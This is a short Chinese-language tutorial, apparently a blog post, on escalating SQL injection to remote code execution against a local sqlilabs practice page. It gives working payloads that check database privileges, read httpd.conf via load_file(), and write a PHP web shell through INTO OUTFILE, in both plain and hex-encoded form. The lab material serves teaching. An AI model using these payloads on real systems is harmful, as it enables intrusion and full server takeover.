SQL 注入是一种针对使用 SQL(结构化查询语言)数据库的 Web 应用程序的攻击。攻击涉及将恶意 SQL 代码注入 Web 应用程序的输入字段,然后可以由应用程序的数据库执行。
SQL 注入攻击旨在利用应用程序代码中的漏洞,使攻击者能够访问敏感信息或操纵数据库。例如,攻击者可以使用 SQL 注入窃取用户凭据并修改或删除数据
所以有一个不同的场景,如果当前数据库用户有写权限,我们可以获得 RCE(远程代码执行)
易受攻击的应用程序:http://localhost/sqlilabs/practice/example1.php?id=1
我要检查当前的数据库用户名以及用户是否有写权限
我将简单地调用用户函数user()来打印当前数据库的用户名
它会像那样输出
所以我们必须检查用户 root 是否有写权限
我们将执行查询“(select group_concat(grantee,is_grantable,0x3c62723e) from information_schema.user_privileges)”
我得到了这样的输出
所以我们现在有写入权限,我们可以使用outfile在服务器上写入
还有两件事 1:我们需要一个服务器路径 2:一个可写目录
对于路径泄露,我们可以尝试读取服务器上的配置文件,如httpd.conf 或 access_log等 ,这取决于 我们找到httpd.conf文件的服务器 ,我们可以获得服务器路径
现在我们将使用load_file()函数来读取“ httpd.conf”
读取配置文件后我们得到了服务器路径
现在我们可以使用outfile写入以在服务器上获取 RCE
http://localhost/sqlilabs/practice/example1.php?id=1' and 0 union select 1,<?php system($_GET['cmd']); ?>,3 进入输出文件 '/opt/lampp/htdocs/shell.php' - +
如果它不起作用尝试使用十六进制编码
http://localhost/sqlilabs/practice/example1.php?id=1' and 0 union select 1,0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e,3 into outfile '/opt/lampp/htdocs/shell.php' - +
推荐阅读:
记一次赏金10000美金的漏洞挖掘(从.git泄露到RCE)